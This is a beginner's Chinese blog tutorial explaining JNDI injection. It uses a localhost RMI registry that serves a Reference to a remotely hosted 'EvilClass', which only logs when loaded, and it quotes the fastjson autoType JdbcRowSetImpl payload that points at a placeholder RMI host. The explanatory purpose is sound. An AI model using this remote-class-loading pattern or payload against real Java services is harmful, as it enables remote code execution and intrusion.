大白话告诉你jni注入漏洞

前言

前两天又看到fastjson 暴雷说有漏洞,加上之前的log4j好像也是有jni漏洞,所以空闲时候去研究了下这个玩意,发现网上说的不是很清除,对我这样的小白来说有点难懂,所以写篇文章记录下

本篇文章不作为专业解读,只是方便理解

环境

jdk 1.8 251
为了方便复现,最好选择版本低的

什么是jni

JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口

名称服务,简单来说就是通过名称查找实际对象的服务

目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息

上面是我从网上查到的解释,看到这里我是有点懵的
大白话告诉你jni注入漏洞_第1张图片
有了这个图是不是就好点了

其实我个人理解是这样的,jndi 就好像jdbc,ldap、dns、rmi 等等就像不同的数据库mysql、oracle…

那它能干啥呢,以RMI 举例

RMI

Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架。

接口定义

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}

服务端

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
        
public class Server implements Hello {
        
    public Server() {}

    public String sayHello() {
        return "Hello, world!";
    }
        
    public static void main(String args[]) {
        
        try {
            Server obj = new Server();
            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);

            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("Hello", stub);

            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

客户端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

    private Client() {}

    public static void main(String[] args) {

        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            Hello stub = (Hello) registry.lookup("Hello");
            String response = stub.sayHello();
            System.out.println("response: " + response);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

日志

response: Hello, world!

这里呢就像是从远程服务拉取class数据,然后客户端去获取,然后序列化,并且实例化之后调用方法

如何注入

下面主要是演示jni+rmi如何使用

Rmi 服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiRegistry {
    public static void main(String args[]) {

        try {
            Registry registry = LocateRegistry.createRegistry(10099);

            String factoryUrl = "http://localhost:10010/";
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("Foo", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

此时你还需要开启一个webservice 服务,端口为10010
我用的是python

python3 -m http.server 10010

启动main 方法,控制台输出

在这里插入图片描述

class 类

public class EvilClass implements ObjectFactory {
    static void log(String key) {
        try {
            System.out.println("EvilClass: " + key);
        } catch (Exception e) {
            // do nothing
        }
    }

    {
        EvilClass.log("IIB block");
    }

    static {
        System.out.println("==== static ====");
        StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
        for (StackTraceElement stackTraceElement : stackTrace) {
            System.out.println(stackTraceElement.toString());
        }
        System.out.println("==== static ====");
    }

    public EvilClass() {
        EvilClass.log("constructor");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        EvilClass.log("getObjectInstance");
        return null;
    }
}

然后将这个java文件序列化为class文件,放到上一步启动python httpserver 的目录,并且保证通过 http://localhost:10010/EvilClass.class能调用

jni 客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILookup {
    public static void main(String[] args) {

        try {

//            Hashtable env = new Hashtable<>();
//            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContext");
//            env.put(Context.PROVIDER_URL, "rmi://localhost:10010");
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
            Object ret = new InitialContext().lookup("rmi://localhost:10099/Foo");

            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

运行 main 方法,就能看下如下日志

大白话告诉你jni注入漏洞_第2张图片

清楚的看到是会调用class.forName() ,就好像我们可以自定义实现classLoader,从网络中加载class 数据,然后注册到jvm中

那么其实到这里,如何注入都清楚了,class在init时会调用静态代码块,如果有恶意的class在静态代码块中做手脚,就可以实现注入

fastjson 漏洞在哪

这部分我还没实现,用了一些版本复现不了bug,大致原理如下

fastjson 是有个机制,指定autoType

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

com.sun.rowset.JdbcRowSetImpl#connect

大白话告诉你jni注入漏洞_第3张图片
当然了不止这个类,还有一些其他类也是有问题,但是原理都差不多

这得是在一些指定版本才行

https://cloud.tencent.com/developer/article/1906247?from=article.detail.1957185

以此推理其他的框架也一样可能会有漏洞

总结

就是利用java 可以从远程的网络资源中加载class以此实现注入

当然了也可能不止这种方式,如果有的话,麻烦评论区留言我想去学习下,谢谢

你可能感兴趣的:(Java安全,rpc)